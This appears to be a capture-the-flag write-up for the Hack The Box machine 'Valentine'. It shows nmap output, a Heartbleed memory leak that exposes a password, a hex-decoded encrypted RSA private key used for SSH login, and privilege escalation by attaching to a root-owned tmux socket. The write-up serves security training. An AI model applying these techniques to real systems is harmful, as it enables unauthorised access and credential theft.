Valentine

OS: Linux, Difficulty: Easy, IP: 10.10.10.79

Initial Enumeration

# Nmap 7.80 scan initiated Thu Sep 26 21:07:03 2019 as: nmap -sV -sC -O -A -oN O-Detailed -p 22,80,443 10.10.10.79
Nmap scan report for 10.10.10.79
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 96:4c:51:42:3c:ba:22:49:20:4d:3e:ec:90:cc:fd:0e (DSA)
| 2048 46:bf:1f:cc:92:4f:1d:a0:42:b3:d2:16:a8:58:31:33 (RSA)
|_ 256 e6:2b:25:19:cb:7e:54:cb:0a:b9:ac:16:98:c6:7d:a9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
|_ssl-date: 2019-09-26T15:29:40+00:00; -7m54s from scanner time.
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 2.6.32 - 3.5 (95%), Linux 3.0 (95%), Linux 2.6.38 - 3.0 (94%), Nokia N9 phone (Linux 2.6.32) (94%), Linux 3.2 (94%), Linux 2.6.38 - 2.6.39 (94%), Linux 2.6.39 (94%), Linux 3.5 (93%), Linux 2.6.32 - 3.10 (93%), Linux 2.6.32 - 3.9 (93%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -7m54s
TRACEROUTE (using port 443/tcp)
HOP RTT ADDRESS
1 219.71 ms 10.10.14.1
2 219.86 ms 10.10.10.79
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Sep 26 21:07:36 2019 -- 1 IP address (1 host up) scanned in 33.04 seconds
The web-page clearly signal towards heartbleed bug.

As the web page signals towards the heartbleed bug, I downloaded a script and tested and exploit for heartbleed. You can download the script from the link below.

$ ./heartbleed.py 10.10.10.79
defribulator v1.16
A tool to test and exploit the TLS heartbeat vulnerability aka heartbleed (CVE-2014-0160)
##################################################################
Connecting to: 10.10.10.79:443, 1 times
Sending Client Hello for TLSv1.0
Received Server Hello for TLSv1.0
WARNING: 10.10.10.79:443 returned more data than it should - server is vulnerable!
Please wait... connection attempt 1 of 1
##################################################################
[email protected]....SC[...r....+..H...9...
....w.3....f...
...!.9.8.........5...............
.........3.2.....E.D...../...A.................................I.........
...........
...................................#.......0.0.1/decode.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 42
$text=aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==X.7`.....F...q9&.. =

The heartbleed.py script was dumping a base64 encoded string in form of a $text parameter, which when decoded seemed like a password i.e. heartbleedbelievethehype

Now the next task was to find a username of some kind to test the password against the SSH service, so I ran gobuster and found the following directories, out of which /dev seemed very interesting.

/index (Status: 200)
/dev (Status: 301)
/encode (Status: 200)
/decode (Status: 200)
/omg (Status: 200)
/server-status (Status: 403)

hype_key seemed an interesting file, however it was hex encoded to after decoding it form hex, it turned out to be a private RSA key for probably SSH. If going by the naming convention hype_key seemed that it's a key for the user hype.

$ cat hype_key | xxd -r -p
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
Ol6jLFD2kaOLfuyee0fYCb7GTqOe7EmMB3fGIwSdW8OC8NWTkwpjc0ELblUa6ulO
t9grSosRTCsZd14OPts4bLspKxMMOsgnKloXvnlPOSwSpWy9Wp6y8XX8+F40rxl5
XqhDUBhyk1C3YPOiDuPOnMXaIpe1dgb0NdD1M9ZQSNULw1DHCGPP4JSSxX7BWdDK
aAnWJvFglA4oFBBVA8uAPMfV2XFQnjwUT5bPLC65tFstoRtTZ1uSruai27kxTnLQ
+wQ87lMadds1GQNeGsKSf8R/rsRKeeKcilDePCjeaLqtqxnhNoFtg0Mxt6r2gb1E
AloQ6jg5Tbj5J7quYXZPylBljNp9GVpinPc3KpHttvgbptfiWEEsZYn5yZPhUr9Q
r08pkOxArXE2dj7eX+bq65635OJ6TqHbAlTQ1Rs9PulrS7K4SLX7nY89/RZ5oSQe
2VWRyTZ1FfngJSsv9+Mfvz341lbzOIWmk7WfEcWcHc16n9V0IbSNALnjThvEcPky
e1BsfSbsf9FguUZkgHAnnfRKkGVG1OVyuwc/LVjmbhZzKwLhaZRNd8HEM86fNojP
09nVjTaYtWUXk0Si1W02wbu1NzL+1Tg9IpNyISFCFYjSqiyG+WU7IwK3YU5kp3CC
dYScz63Q2pQafxfSbuv4CMnNpdirVKEo5nRRfK/iaL3X1R3DxV8eSYFKFL6pqpuX
cY5YZJGAp+JxsnIQ9CFyxIt92frXznsjhlYa8svbVNNfk/9fyX6op24rL2DyESpY
pnsukBCFBkZHWNNyeN7b5GhTVCodHhzHVFehTuBrp+VuPqaqDvMCVe1DZCb4MjAj
Mslf+9xK+TXEL3icmIOBRdPyw6e/JlQlVRlmShFpI8eb/8VsTyJSe+b853zuV2qL
suLaBMxYKm3+zEDIDveKPNaaWZgEcqxylCC/wUyUXlMJ50Nw6JNVMM8LeCii3OEW
l0ln9L1b/NXpHjGa8WHHTjoIilB5qNUyywSeTBF2awRlXH9BrkZG4Fc4gdmW/IzT
RUgZkbMQZNIIfzj1QuilRVBm/F76Y/YMrmnM9k/1xSGIskwCUQ+95CGHJE8MkhD3
-----END RSA PRIVATE KEY-----

We had the username, a RSA key, and a password so let's try and connect to the server with these pieces.

$ ssh -i ./ssh.key [email protected]
Enter passphrase for key './ssh.key':
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)
* Documentation: https://help.ubuntu.com/
New release '14.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Feb 16 14:50:29 2018 from 10.10.14.3
uid=1000(hype) gid=1000(hype) groups=1000(hype),24(cdrom),30(dip),46(plugdev),124(sambashare)

User own

[email protected]:~$ cat Desktop/user.txt
e6710***

Root own

Next part is to enumerate for potential attack vectors using Linux Smart Enumeration script.

Out of everything the things that stood out the most was this list of writeable files and most importantly /.devs/dev_sess this file.

[*] fst000 Writable files outside user's home.............................. yes!
---
/.devs/dev_sess
/var/lib/php5
/var/www/omg.jpg
/var/tmp
/var/crash
/tmp
/tmp/output.txt
/tmp/.ICE-unix
/tmp/.X11-unix
/tmp/lse.sh
/home/hype

However I was not able to read the file, because it was a socket file, so I moved away from this and tried enumerating the history of the current user.

[email protected]:/.devs$ history
1 exit
2 exot
3 exit
4 ls -la
5 cd /
6 ls -la
7 cd .devs
8 ls -la
9 tmux -L dev_sess
10 tmux a -t dev_sess
11 tmux --help
12 tmux -S /.devs/dev_sess

And lo and behold, it turns out it is a tmux socket file which we can attach to using tmux command

tmux -S dev_sess

And as it turns out, this sessions was owned by root and now we have root access on the box.

uid=0(root) gid=0(root) groups=0(root)
[email protected]:/.devs# cat /root/root.txt
f1bb6***

Learning Outcome

Suspicious files and basic user enumeration leads to great results, as always.